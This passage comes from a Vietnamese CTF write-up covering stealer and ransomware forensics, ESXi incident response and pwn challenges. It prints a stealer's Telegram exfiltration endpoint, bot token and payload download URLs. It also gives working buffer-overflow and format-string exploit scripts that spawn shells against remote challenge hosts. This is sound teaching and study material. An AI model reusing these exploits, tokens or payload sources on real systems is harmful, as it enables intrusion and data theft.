<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_data</span>(<span class="hljs-params">encrypted_data, key, iv</span>):</span>
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    pad_len = decrypted[<span class="hljs-number">-1</span>]
    <span class="hljs-keyword">return</span> decrypted[:-pad_len] <span class="hljs-keyword">if</span> pad_len &gt; <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> pad_len &lt;= <span class="hljs-number">16</span> <span class="hljs-keyword">else</span> decrypted

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    PC_NAME = <span class="hljs-string">"DESKTOP-SH94VUS"</span>
    key, iv = derive_key_and_iv(PC_NAME)
    in_file = <span class="hljs-string">"Voucher_hoc_bong_chuyen_auto_pass_mon.txt.cucked"</span>

    <span class="hljs-keyword">with</span> open(in_file, <span class="hljs-string">"rb"</span>) <span class="hljs-keyword">as</span> f:
        encrypted_data = f.read()

    decrypted_data = decrypt_data(encrypted_data, key, iv)

    print(decrypted_data.decode(<span class="hljs-string">'utf-8'</span>))

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{the^?_cha^'t_KMA_la`_nhung~_niem`_dau}
</code></pre>
<p><strong>Note</strong></p>
<p>Có lẽ đây là hướng unintended đúng ra là nên bắt đầu từ file <code>HDSD.chm</code>, giải nén nó ra sẽ có đường link như thế này để download file về:</p>
<p><img src="https://hackmd.io/_uploads/ryoI1uCvJe.png" alt="image" /></p>
<h3 id="heading-invitation">Invitation</h3>
<p><img src="https://hackmd.io/_uploads/BkWoEKcvyx.png" alt="image" /></p>
<p><strong>Step 1</strong></p>
<p>Challenge cung cấp cho 2 file: 1 file pdf và 1 file .cmd, nhưng trong giải lúc giải nén em không để ý là giải nén ra nó bị trùng tên và bị mất file pdf thành ra em chỉ thấy được mỗi file .cmd <code>.cmd</code> và em cũng không biết nó là file gì, <code>cat</code> thì toàn kí tự không đọc được nên em <code>strings</code> ra để đọc được.</p>
<p>Khi strings thì sẽ thấy được 2 <code>url</code> và 1 vài đường dẫn khác.</p>
<p>Quan trọng là 2 url này: <a target="_blank" href="https://raw.githubusercontent.com/NVex0/Asset/main/WindowsUpdate">https://raw.githubusercontent.com/NVex0/Asset/main/WindowsUpdate</a></p>
<p><img src="https://hackmd.io/_uploads/HkO1vF5Dkg.png" alt="image" /></p>
<p>Còn url này để tải về file <a target="_blank" href="http://Snake.zip">Snake.zip</a> ở đó sẽ chứa file <a target="_blank" href="http://WindowsUpdate.py"><code>WindowsUpdate.py</code></a> <a target="_blank" href="https://raw.githubusercontent.com/NVex0/Asset/main/Snake.zip">https://raw.githubusercontent.com/NVex0/Asset/main/Snake.zip</a></p>
<p><strong>Step 2</strong></p>
<p><a target="_blank" href="http://WindowsUpdate.py"><code>WindowsUpdate.py</code></a> cho thấy đây là một mã độc dạng <code>stealers</code>.</p>
<ol>
<li><p><strong>Chức năng chính</strong>:</p>
<ul>
<li><p>Trích xuất thông tin nhạy cảm từ các trình duyệt web được cài đặt trên máy, bao gồm:</p>
<ul>
<li><p><strong>Dữ liệu đăng nhập</strong>: Tài khoản và mật khẩu.</p>
</li>
<li><p><strong>Thông tin thẻ tín dụng</strong>.</p>
</li>
<li><p><strong>Cookie</strong>.</p>
</li>
<li><p><strong>Lịch sử duyệt web</strong>.</p>
</li>
<li><p><strong>Tệp đã tải xuống</strong>.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Cách thức hoạt động</strong>:</p>
<ul>
<li><p><strong>Lấy khóa mã hóa</strong> từ trình duyệt (master key).</p>
</li>
<li><p><strong>Giải mã dữ liệu nhạy cảm</strong> bằng cách sử dụng thuật toán AES.</p>
</li>
<li><p><strong>Lưu trữ dữ liệu</strong> tại thư mục: <code>C:\Users\Public\Snake\</code>.</p>
</li>
<li><p><strong>Exfiltrate</strong> qua API của Telegram đến tài khoản của hacker.</p>
</li>
</ul>
</li>
<li><p><strong>Kênh gửi dữ liệu</strong>:</p>
<ul>
<li><p>API Telegram:</p>
<pre><code class="lang-plaintext">  https://api.telegram.org/bot&lt;bot_token&gt;/sendDocument
</code></pre>
<ul>
<li><p>Chat ID: <code>5814016276</code> (ID của hacker).</p>
</li>
<li><p>Bot Token: <code>6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo</code>.</p>
</li>
</ul>
</li>
</ul>
</li>
</ol>
<p><strong>Step 3</strong></p>
<p>Dựa trên đề bài có đề cập đến <code>destination</code> tức là ta sẽ tập chung khai thác đích đến của dữ liệu chính là Telegram</p>
<p>Ta cần biết thông tin sơ bộ của con bot telegram mà hacker gửi dữ liệu đến</p>
<p>Đọc bài viết này để tham khảo <a target="_blank" href="https://core.telegram.org/bots/api#getme">https://core.telegram.org/bots/api#getme</a></p>
<p>Từ bài viết ta có thể truy cập vào đường link sau đây để lấy thông tin: <a target="_blank" href="https://api.telegram.org/bot6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo/getMe">https://api.telegram.org/bot6685689576:AAEZDTUeHWzc7nqK84T7IhtBKJyZ0cUbIZo/getMe</a></p>
<p><img src="https://hackmd.io/_uploads/rkNbtK5wJg.png" alt="image" /></p>
<p>Giải mã chuỗi base64 <code>Qk9UOiBLQ1NDe0V4RjFsVHJhdGkwbl8wdjNyX1QzTDNnckBtP30=</code> ta sẽ nhận được flag</p>
<p>Ở challenge của viblo và các giải của HTB cũng đề cập đến API Telegram kiểu này nhưng nó khó hơn rất nhiều.</p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{ExF1lTrati0n_0v3r_T3L3gr@m?}
</code></pre>
<h3 id="heading-powershell-101">Powershell 101</h3>
<p><img src="https://hackmd.io/_uploads/HJ-49F9Dke.png" alt="image" /></p>
<p><strong>Step 1</strong></p>
<p>Challenge cung cấp cho file <a target="_blank" href="http://s.ps"><code>s.ps</code></a><code>1</code> và folder Pictures gồm các file bị mã hóa với đuôi <code>.enc</code></p>
<p>Phân tích file <a target="_blank" href="http://s.ps">s.ps</a>1 thì ta thấy Script này:</p>
<ul>
<li><p>Lấy tất cả file ảnh (định dạng .jpg, .png, .jpeg, .bmp) từ thư mục <code>C:\Users\&lt;...&gt;\OneDrive\Pictures</code></p>
</li>
<li><p>Mã hoá dữ liệu file bằng AES CBC (với key và IV đã hardcode).</p>
</li>
<li><p>Base64 + Nén (Deflate) + Base64 lần nữa.</p>
</li>
<li><p>Ghi kết quả ra file có đuôi .enc.</p>
</li>
<li><p>Xoá file gốc.</p>
</li>
</ul>
<p><strong>Step 2</strong></p>
<p>Em thấy có file tên là <code>Important.enc</code> nên đã quyết định giải mã nó trước Dùng cyberchef đi ngược lại mấy bước mã hóa ở script là được</p>
<p><img src="https://hackmd.io/_uploads/rkl2Rt5Dyg.png" alt="image" /></p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{S0m3t1m3_R3co\_/ery_1s_EasieR_Th@n_y0u_Thought}
</code></pre>
<h3 id="heading-automatic">Automatic</h3>
<p><img src="https://hackmd.io/_uploads/S1w-Jc5wke.png" alt="image" /></p>
<p>Challenge cung cấp cho file <a target="_blank" href="http://Disk.ad">Disk.ad</a>1 nên em mở FTK.image</p>
<p><strong>Q1. What is the MITRE ATT&amp;CK sub-technique ID used for persistence?</strong></p>
<pre><code class="lang-plaintext">T1547.001
</code></pre>
<p>Đề bài có đề cập đến <code>persistence</code> nên theo kinh nghiệm chơi CTF của em thì em vô folder <code>Startup</code> thì thấy file <code>Recycle Bin.lnk.bat</code></p>
<p><code>Recycle Bin.lnk.bat</code> có thể là một shortcut giả mạo được thiết kế để đánh lừa người dùng nhấp vào, sau đó thực thi đoạn mã cụ thể thì nó thực thi script <a target="_blank" href="http://tmp6e5d08.ps"><code>tmp6e5d08.ps</code></a><code>1</code> trong thư mục <code>temp</code>.</p>
<p>Tham khảo: <a target="_blank" href="https://attack.mitre.org/techniques/T1547/001/">https://attack.mitre.org/techniques/T1547/001/</a></p>
<p><strong>Q2. What is the MD5 hash of the second stage file executed by the malware?</strong></p>
<pre><code class="lang-plaintext">FCDBBEA5F3DCD22E1E0A5627DAEC0A3A
</code></pre>
<p><img src="https://hackmd.io/_uploads/r1ua7qqDJg.png" alt="image" /></p>
<p>Xuất file ra và tính hash thôi</p>
<p><strong>Q3. Decrypt any encrypted file to complete this question.</strong></p>
<pre><code class="lang-plaintext">G00d_J0b_Br0!!
</code></pre>
<p>Chức năng của script:</p>
<p>Mã hóa tập tin: Script sử dụng thuật toán <code>AES</code> để mã hóa nội dung của các tập tin trong các thư mục mục tiêu (Documents, Downloads, Desktop, Pictures).</p>
<p>Các tập tin đã mã hóa được lưu với phần mở rộng <code>.KCSC</code>, và bản gốc của chúng sẽ bị xóa.</p>
<p>Key: Được tính toán từ tên máy tính <code>($env:COMPUTERNAME)</code> thông qua thuật toán <code>SHA256</code>. Có thể tìm trong Windows Registry</p>
<p><img src="https://hackmd.io/_uploads/B1VOhqqvyg.png" alt="image" /></p>
<p>IV: Được tính toán từ tên người dùng <code>($env:USERNAME)</code> bằng thuật toán <code>MD5</code>.</p>
<p>Ta có USERNAME là <code>yud-binary</code> trong folder USER luôn rồi</p>
<p>Chú ý đề bài yêu cầu decrypt hết mấy file bị mã hóa, ở đây nếu decrypt hết ta sẽ tìm được hình ảnh mã QR nằm trong folder <code>Pictures</code>.</p>
<p><img src="https://hackmd.io/_uploads/r1gexo9vkx.png" alt="image" /></p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{T1547.001_FCDBBEA5F3DCD22E1E0A5627DAEC0A3A_G00d_J0b_Br0!!}
</code></pre>
<h3 id="heading-dfir-01">DFIR 01</h3>
<pre><code class="lang-plaintext">Sự cố được giả định tại một Công ty có tên DFCorp có trụ sở tại Việt Nam. Công ty sử dụng các máy chủ, được thiết kế và lắp đặt, kết nối như sau:

Danh sách các dải mạng: DMZ: 192.168.6.0/24 USERLAN: 192.168.17.0/24

Danh sách các thiết bị tham gia hệ thống mạng:

Máy chủ Backup (DMZ): 192.168.6.20 cài đặt Mật khẩu truy cập: Administrator / DFC0rp@sysad

Máy chủ ảo hóa (DMZ): 192.168.6.21 cài đặt VMWare ESXi standalone Mật khẩu truy cập: root / DFC0rp@ESXi

Thiết bị Firewall: 192.168.6.1 sử dụng thiết bị Fortigate 201F Máy chủ Database (DMZ): 192.168.6.24 cài đặt Ubuntu và OracleDB 23ai

Máy chủ Queue (DMZ): 192.168.6.23 cài đặt CentOS và RabbitMQ Các nhân viên tham gia với dải mạng USERLAN

Sự cố xảy ra trên hạ tầng máy chủ chính của DFCorp, chứa nhiều dữ liệu quan trọng của người dùng cũng như các bí mật kinh doanh. Hiện trạng sự cố:

‾ Các máy chủ dịch vụ (DB, Queue) không thể truy cập.

‾ Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu

‾ Khi đăng nhập vào máy chủ backup, hệ thống luôn luôn sử dụng 100% CPU và có dấu hiệu của tấn công mã hóa dữ liệu

Đội ngũ quản trị đã thực hiện cách ly máy chủ ESXi và máy chủ backup sang dải mạng riêng, với vai trò là đội ứng cứu sự cố, hãy hỗ trợ công ty DFCorp điều tra nguyên nhân tấn công và các hành vi kẻ tấn công đã thực hiện được.

Lưu ý: Cách tắt hyper-V để có thể chạy vmesxi:

bcdedit /set hypervisorlaunchtype off

bật hyper-V: bcdedit /set hypervisorlaunchtype auto

Sau khi tắt hoặc bật hyper-V hãy khởi động lại máy chủ

Nếu máy chủ windows gây ra load nhiều cpu hãy set về hostonly hoặc ngắt mạng máy chủ
Nhập ok vào ô flag để mở khóa thử thách tiếp theo sau khi đã đọc xong mô tả, tương tự với các challange sẽ được mở khi hoàn thành challange yêu cầu Có tổng cộng 10 bài
</code></pre>
<p>Challenge cung cấp cho ta 1 những file máy ảo sau đây:</p>
<p><img src="https://hackmd.io/_uploads/ryquzdjv1x.png" alt="image" /></p>
<p>Nhấp đúp chuột vào file .ovf VMware sẽ tự động cài đặt (Tùy vào mỗi máy mà có thể sẽ gặp những lỗi riêng).</p>
<p>Đây là kết quả khi khởi động thành công:</p>
<p><img src="https://hackmd.io/_uploads/ryMd7_oPJg.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/rklo7_iPyl.png" alt="image" /></p>
<h3 id="heading-dfir-02">DFIR 02</h3>
<p><img src="https://hackmd.io/_uploads/r17emuswJl.png" alt="image" /></p>
<p>Challenge có nói rằng <code>Đội ngũ quản trị đã thử đăng nhập máy chủ ESXi để bật lại VM nhưng không thành công do sai mật khẩu</code></p>
<p>Theo 2 bài viết được gợi ý từ hint thì ta cần reset mật khẩu lại để đăng nhập, bản chất là làm sao để xóa đi hash mật khẩu thì ta sẽ không còn mật khẩu nữa và có thể đăng nhập.</p>
<p>Làm theo 2 bài viết từ hint:</p>
<p><img src="https://hackmd.io/_uploads/SkmSrOowJl.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/HJRFSdiwJx.png" alt="image" /></p>
<p>Sau khi reset mật khẩu thành công ta có thể quản lý máy chủ thông qua địa chỉ <a target="_blank" href="http://192.168.49.128">http://192.168.49.128</a> (qua DHCP).</p>
<p><img src="https://hackmd.io/_uploads/HJZJIdoPyg.png" alt="image" /></p>
<p>Để trả lời câu hỏi thì ta xem folder <code>dfcorp-queue</code>:</p>
<p><img src="https://hackmd.io/_uploads/ryjoP_oD1g.png" alt="image" /></p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{dfcorp-queue}
</code></pre>
<h3 id="heading-dfir-03">DFIR 03</h3>
<p><img src="https://hackmd.io/_uploads/ryrNd_jDJl.png" alt="image" /></p>
<p>Với câu hỏi này thì em kiểm tra mấy cái log</p>
<p>Tham khảo bài viết này:</p>
<p><a target="_blank" href="https://www.h4tt0r1.cz/post/digital-forensics-and-incident-response-on-vmware-hypervisors">https://www.h4tt0r1.cz/post/digital-forensics-and-incident-response-on-vmware-hypervisors</a></p>
<p><img src="https://hackmd.io/_uploads/BJs6duoDJx.png" alt="image" /></p>
<p>Em dùng các từ khóa phổ biến liên quan đến User-Agent sau đó lọc ra trong log <code>hostd.log</code></p>
<p>Lọc xong thì em thử submit ai ngờ nó đúng ạ chứ thú thật em cũng không biết sao nó đúng :(((</p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{Mozilla/5.0 (Windows NT 6.3; WOW64; rv:102.0) Gecko/20100101 Goanna/6.7 Firefox/102.0 PaleMoon/33.3.1}
</code></pre>
<h3 id="heading-dfir-04">DFIR 04</h3>
<p><img src="https://hackmd.io/_uploads/B1WAo_oPJl.png" alt="image" /></p>
<p>Câu này thì vẫn là trong <code>hostd.log</code>, em vẫn lọc các từ khóa liên quan đến hành vi rà quét của kẻ tấn công thì không khó để phát hiện được.</p>
<p><img src="https://hackmd.io/_uploads/SyyU3djwkx.png" alt="image" /></p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{2024-08-16}
</code></pre>
<h3 id="heading-dfir-05">DFIR 05</h3>
<p><img src="https://hackmd.io/_uploads/ByWjn_jDJl.png" alt="image" /></p>
<p>Câu này thì xem file <code>Security.evtx</code> lọc các event id <code>4625</code> vì đó là sự kiện ghi lại lần đăng nhập thất bại.</p>
<p>Ta dễ dàng thấy trong ngày <code>16-08-2024 (utc)</code> có rất nhiều lần đăng nhập thất bại, lưu ý là tính trong ngày đó thôi.</p>
<p><img src="https://hackmd.io/_uploads/r1y26OjDJg.png" alt="image" /></p>
<p><strong>Flag</strong></p>
<pre><code class="lang-plaintext">KCSC{10223}
</code></pre>
<h2 id="heading-iii-pwn">III. Pwn</h2>
<p><strong>Cre: kur0x1412</strong></p>
<h3 id="heading-aaa">AAA</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/Sy44w5qPke.png" alt="image" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  setup(argc, argv, envp);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Input: "</span>);
  gets(buf);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Your input: %s\n"</span>, buf);
  <span class="hljs-keyword">if</span> ( is_admin )
    system(<span class="hljs-string">"cat /flag"</span>);
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<ul>
<li><p>Chỉ có duy nhất hàm main, nhập vào bằng <code>gets()</code> =&gt; <code>Buffer Overflow</code></p>
<p>  <img src="https://hackmd.io/_uploads/BJQaw95D1g.png" alt="image" /></p>
</li>
<li><p><code>buf</code> ở trước <code>is_admin</code>, nên chỉ cần ghi sao cho tràn được qua <code>is_admin</code> là có flag</p>
</li>
</ul>
<blockquote>
<p>KCSC{AAAAAAAAAAAAAAAaaaaaaaaaaaaaaaaa____!!!!!}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./main'</span>, checksec=<span class="hljs-literal">False</span>)

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50011'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)

p.sendline(<span class="hljs-string">b'A'</span>*<span class="hljs-number">0x101</span>)

p.interactive()
</code></pre>
<h3 id="heading-welcome">welcome</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/Sky6Y59Pyg.png" alt="image" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  <span class="hljs-keyword">char</span> s[<span class="hljs-number">64</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-40h] BYREF</span>

  setup(argc, argv, envp);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Welcome to KCSC Recruitment !"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"What's your name?\n&gt; "</span>);
  fgets(s, <span class="hljs-number">64</span>, <span class="hljs-built_in">stdin</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Hi "</span>);
  <span class="hljs-built_in">printf</span>(s);
  <span class="hljs-keyword">if</span> ( key == <span class="hljs-number">0x1337</span> )
    win();
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<ul>
<li>Lỗi <code>Format String</code> ở dòng 10</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">win</span><span class="hljs-params">()</span>
</span>{
  <span class="hljs-keyword">return</span> system(<span class="hljs-string">"/bin/sh"</span>);
}
</code></pre>
<ul>
<li><p>Nếu <code>key = 0x1337</code> thì sẽ có shell</p>
<p>  <img src="https://hackmd.io/_uploads/SJL255qDyl.png" alt="image" /></p>
</li>
<li><p>Địa chỉ của key là <code>0x40408c</code></p>
</li>
<li><p>Giờ sẽ ghi địa chỉ của <code>key</code> vào <code>buf</code> rồi dùng <code>%n</code> (cụ thể là <code>%hn</code> - ghi 2 byte) để viết <code>0x1337</code> vào địa chỉ của <code>key</code></p>
</li>
</ul>
<blockquote>
<p>KCSC{A_little_gift_for_pwner_hehehehehehehehe}</p>
</blockquote>
<p><strong>Full script</strong></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python3</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

context.binary = exe = ELF(<span class="hljs-string">'./welcome'</span>, checksec=<span class="hljs-literal">False</span>)

<span class="hljs-keyword">if</span> args.REMOTE:
    conn = <span class="hljs-string">'nc 36.50.177.41 50010'</span>.split()
    p = remote(conn[<span class="hljs-number">1</span>], int(conn[<span class="hljs-number">2</span>]))
<span class="hljs-keyword">else</span>:
    p = process(exe.path)

key = <span class="hljs-number">0x40408c</span>
payload = <span class="hljs-string">f'%<span class="hljs-subst">{<span class="hljs-number">0x1337</span>}</span>c%9$hn'</span>.encode()
payload = payload.ljust(<span class="hljs-number">24</span>,<span class="hljs-string">b'\0'</span>)
payload += p64(key)
p.sendlineafter(<span class="hljs-string">b'name?\n&gt; '</span>, payload)

p.interactive()
</code></pre>
<h3 id="heading-darktunnel">darktunnel</h3>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/B1hd3qcwyg.png" alt="image" /></p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall __noreturn <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
  run();
}
</code></pre>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __cdecl __noreturn <span class="hljs-title">run</span><span class="hljs-params">()</span>
</span>{
  <span class="hljs-keyword">int</span> v0; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">unsigned</span> __int64 id[<span class="hljs-number">3</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-20h] BYREF</span>
  <span class="hljs-keyword">unsigned</span> __int64 v2; <span class="hljs-comment">// [rsp+18h] [rbp-8h]</span>

  v2 = __readfsqword(<span class="hljs-number">0x28</span>u);
  setbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-number">0L</span>L);
  setbuf(_bss_start, <span class="hljs-number">0L</span>L);
  <span class="hljs-built_in">memset</span>(id, <span class="hljs-number">0</span>, <span class="hljs-number">3u</span>LL);
  <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )
  {
    <span class="hljs-keyword">while</span> ( <span class="hljs-number">1</span> )
    {
      v0 = menu();
      <span class="hljs-keyword">if</span> ( v0 == <span class="hljs-number">2</span> )
        <span class="hljs-keyword">break</span>;
      <span class="hljs-keyword">if</span> ( v0 &lt;= <span class="hljs-number">2</span> )
      {
        <span class="hljs-keyword">if</span> ( !v0 )
          <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
        <span class="hljs-keyword">if</span> ( v0 == <span class="hljs-number">1</span> )
          input_id(id);
      }
    }
    <span class="hljs-keyword">if</span> ( !id[<span class="hljs-number">0</span>] || !id[<span class="hljs-number">1</span>] || !id[<span class="hljs-number">2</span>] )
    {
      <span class="hljs-built_in">printf</span>(<span class="hljs-string">"id error !"</span>);
      <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
    }
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"communication id: "</span>);
    print_id(id);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"communication buffer input start -&gt; "</span>);
    send_buff(id);
  }
}
</code></pre>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">menu</span><span class="hljs-params">()</span>
</span>{
  <span class="hljs-keyword">int</span> choice; <span class="hljs-comment">// [rsp+4h] [rbp-Ch] BYREF</span>
  <span class="hljs-keyword">unsigned</span> __int64 v2; <span class="hljs-comment">// [rsp+8h] [rbp-8h]</span>

  v2 = __readfsqword(<span class="hljs-number">0x28</span>u);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"1. id setup"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"2. send buffer"</span>);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"0. exit"</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"&gt; "</span>);
  __isoc99_scanf(<span class="hljs-string">"%d"</span>, &amp;choice);
  <span class="hljs-keyword">return</span> choice;
}
</code></pre>
<ul>
<li>Lựa chọn <code>1</code></li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __cdecl <span class="hljs-title">input_id</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> __int64 *id)</span>
</span>{
  <span class="hljs-keyword">int</span> i; <span class="hljs-comment">// [rsp+1Ch] [rbp-4h]</span>

  <span class="hljs-built_in">memset</span>(id, <span class="hljs-number">0</span>, <span class="hljs-number">3u</span>LL);
  <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">3</span>; ++i )
  {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"id %d: "</span>, i);
    __isoc99_scanf(<span class="hljs-string">"%lu"</span>, &amp;id[i]);
  }
}
</code></pre>
<ul>
<li><p>Để ý ở nãy hàm <code>run</code> khai báo mảng id với 3 phần tử nhưng vô đây lại nhập 4 =&gt; khả năng có lỗi</p>
<p>  <img src="https://hackmd.io/_uploads/ryn91iqw1e.png" alt="image" /></p>
</li>
<li><p>Khi dùng gdb để xem xét thì thấy id sẽ nhập vào 4 vị trí</p>
<p>  <img src="https://hackmd.io/_uploads/rJhR1o9vke.png" alt="image" /></p>
</li>
<li><p>Cái thứ 4 kia chính là canary</p>
</li>
<li><p>Xem lại hàm <code>run</code> thì nếu chọn <code>2</code> thì sẽ in 4 id đã nhập vào, nếu có id nào = 0 thì thoát chương trình</p>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __cdecl <span class="hljs-title">print_id</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> __int64 *id)</span>
</span>{
  <span class="hljs-keyword">int</span> i; <span class="hljs-comment">// [rsp+1Ch] [rbp-4h]</span>

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"[ "</span>);
  <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">3</span>; ++i )
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%lu "</span>, id[i]);
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">" ]"</span>);
}
</code></pre>
<ul>
<li><p>Hàm <code>scanf("%lu", &amp;id[i])</code>, nếu nhập kí tự <code>+</code> hoặc <code>-</code> thì hàm <code>scanf()</code> sẽ coi như không có giá trị nào được nhập vào, do đó <code>id[3] = canary</code> được giữ nguyên -&gt; khi in id sẽ in ra <code>canary</code></p>
</li>
<li><p>Sau khi in id thì sẽ nhập vào buff</p>
</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __cdecl <span class="hljs-title">send_buff</span><span class="hljs-params">(<span class="hljs-keyword">unsigned</span> __int64 *id)</span>
</span>{
  <span class="hljs-keyword">int</span> len; <span class="hljs-comment">// [rsp+18h] [rbp-3F8h]</span>
  <span class="hljs-keyword">int</span> fd; <span class="hljs-comment">// [rsp+1Ch] [rbp-3F4h]</span>
  <span class="hljs-keyword">char</span> buff[<span class="hljs-number">1000</span>]; <span class="hljs-comment">// [rsp+20h] [rbp-3F0h] BYREF</span>
  <span class="hljs-keyword">unsigned</span> __int64 v4; <span class="hljs-comment">// [rsp+408h] [rbp-8h]</span>

  v4 = __readfsqword(<span class="hljs-number">0x28</span>u);
  <span class="hljs-built_in">memset</span>(buff, <span class="hljs-number">0</span>, <span class="hljs-keyword">sizeof</span>(buff));
  __isoc99_scanf(<span class="hljs-string">"%s"</span>, buff);
  len = <span class="hljs-built_in">strlen</span>(buff);
  <span class="hljs-keyword">if</span> ( len &gt; <span class="hljs-number">1</span> )
  {
    fd = open(<span class="hljs-string">"/tmp/data.rc"</span>, <span class="hljs-number">577</span>, <span class="hljs-number">644L</span>L);
    write(fd, buff, len);
  }
}
</code></pre>
<ul>
<li><p><code>scanf("%s", ...)</code> chỉ dừng nhập khi gặp các byte <code>0x9</code>, <code>0x20</code>,<code>0xa</code>, <code>0xb</code>, <code>0xc</code>, <code>0xd</code> =&gt; có thể <code>Stack Buffer Overflow</code>, mà ta đã có <code>canary</code> nên có thể điều khiển được saved rip</p>
</li>
<li><p>Sau khi nhập vào sẽ kiểm tra độ dài của đoạn nhập vào bằng <code>strlen()</code>, nếu dài hơn 1 thì sẽ mở file <code>/tmp/data.rc</code> và ghi nội dung file đó vào buff, điều này có thể dẫn đến việc giá trị nhập vào trước đó sẽ bị thay đổi</p>
</li>
<li><p>Tuy nhiên hàm <code>strlen()</code> chỉ kiểm tra đến byte <code>0x00</code>, vậy nên nếu ở ngay đầu buff ta nhập vào <code>0x00</code> thì len = 0</p>
</li>
</ul>
<p><img src="https://hackmd.io/_uploads/BJkAfoqwye.png" alt="Screenshot 2025-01-19 230517" /></p>
<ul>
<li>Xem trong ida thì thấy có một hàm ẩn cho shell</li>
</ul>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">void</span> __cdecl <span class="hljs-title">admin</span><span class="hljs-params">()</span>
</span>{
  <span class="hljs-built_in">puts</span>(<span class="hljs-string">"For admin only, contact us if this function suddenly runs: "</span>);
  system(<span class="hljs-string">"/bin/sh"</span>);
}
</code></pre>
